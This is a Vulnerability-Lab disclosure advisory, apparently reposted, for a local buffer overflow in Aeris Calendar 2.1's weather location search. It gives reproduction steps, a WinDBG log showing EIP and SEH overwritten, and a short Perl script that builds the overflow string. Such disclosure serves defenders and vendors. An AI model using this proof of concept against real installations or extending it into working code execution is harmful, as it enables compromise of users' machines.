Aeris Calendar 2.1 Buffer Overflow
Posted on 23 December 2015
Document Title: =============== Aeris Calandar v2.1 - Buffer Overflow Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1656 Release Date: ============= 2015-12-01 Vulnerability Laboratory ID (VL-ID): ==================================== 1656 Common Vulnerability Scoring System: ==================================== 6.4 Product & Service Introduction: =============================== Aeris Calendar is a full-featured desktop calendar with current weather conditions, forecasts and severe weather alerts. Aeris Calendar allows you to add reminders, notes, todo`s and special events like birthdays and anniversaries. The extended forecast is displayed directly on the calendar and current conditions are displayed on the calendar, tray icon and desklet. Themes allow you to skin the calendar or you can select any image on your computer to serve as the backdrop for your calendar. (Copy of the Vendor Homepage: http://www.esumsoft.com/products/aeris-calendar/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a local buffer overflow web vulnerability in the official Aeris Calandar v2.1 software. Vulnerability Disclosure Timeline: ================================== 2015-12-01: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Esumsoft Product: Aeris Calendar - Software 2.1 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local unicode buffer overflow has been discovered in the official Aeris Calandar v2.1 software. The local vulnerability allows to overwrite the registers of the software process to compromise the target computer system. The classic buffer overflow vulnerability is located in the software Aeris CaLandar an attacker manipulate the bit EIP register in order to execute the next instruction of their choice. Attacker can for example execute arbitrary codes. The attacker includes a large unicode string to overwrite the EIP register of the process. Finally the attacker is able to compromise the system process of the active program. The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the local vulnerability results in system compromise by elevation of privileges via overwrite of the registers (EIP,EBP & ECX Co.). Vulnerable Module(s): [+] Weather -> Set Location > Input <> [Search] Proof of Concept (PoC): ======================= The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Launch Aeris Calandar.exe 2. Click Weather -> Set Location 3. Copy the AAAA...+ string from bof.txt to clipboard 4. Paste it the input Enter your city or zip code and press search AAAA....+ string > click Search 5. Software will crash with a BEX exception 6. Successful reproduce of the local buffer overflow vulnerability! --- Debug Session Logs [WinDBG] --- Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=43434343 edx=77ce72cd esi=00000000 edi=00000000 eip=43434343 esp=0012cbe8 ebp=0012cc08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 43434343 ?? ??? 0:000> !exchain 0012cbfc: ntdll!RtlRaiseStatus+c8 (77ce72cd) 0012cfe4: ntdll!RtlRaiseStatus+c8 (77ce72cd) 0012f404: 43434343 Invalid exception stack at 42424242 0:000> d 0012f404 0012f404 42 42 42 42 43 43 43 43-00 00 00 00 80 32 44 00 BBBBCCCC.....2D. <== Control Register EIP 0012f414 a0 e6 1e 0b 01 00 00 00-08 be 51 00 60 f5 12 00 ..........Q.`... 0012f424 11 01 00 00 dd 92 38 00-fe ff ff ff c3 60 cf 77 ......8......`.w 0012f434 d0 5d cf 77 10 00 00 00-00 00 00 00 00 00 00 00 .].w............ 0012f444 00 00 22 00 00 00 00 00-00 00 00 00 f4 f4 12 00 .."............. 0012f454 00 04 00 00 c0 01 05 00-f4 f4 12 00 00 00 00 00 ................ 0012f464 fe ff ff ff fe c5 7f 77-94 52 7f 77 04 00 00 00 .......w.R.w.... 0012f474 f2 64 4e 00 72 01 04 00-e7 c4 7f 77 c0 01 05 00 .dN.r......w.... PoC: Perl Exploit (*.pl) my $Buff = "x41" x 8186; my $Buff1 = "x42" x 4; my $Buff2 = "x43" x 4; open(MYFILE,'>>File.txt'); print MYFILE $Buff.$Buff1.$Buff2; close(MYFILE); print " POC Created by ZwX "; Solution - Fix & Patch: ======================= Restrict the input of the location module to prevent local buffer overflows in that same module. Setup an specific input size to ensure no overflow occurs during the active search. Security Risk: ============== The security risk of the local buffer overflow vulnerability in the calandar software for windows is estimated as high. (CVSS 6.4) Credits & Authors: ================== ZwX - (http://zwx.fr) [ http://www.vulnerability-lab.com/show.php?user=ZwX ] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
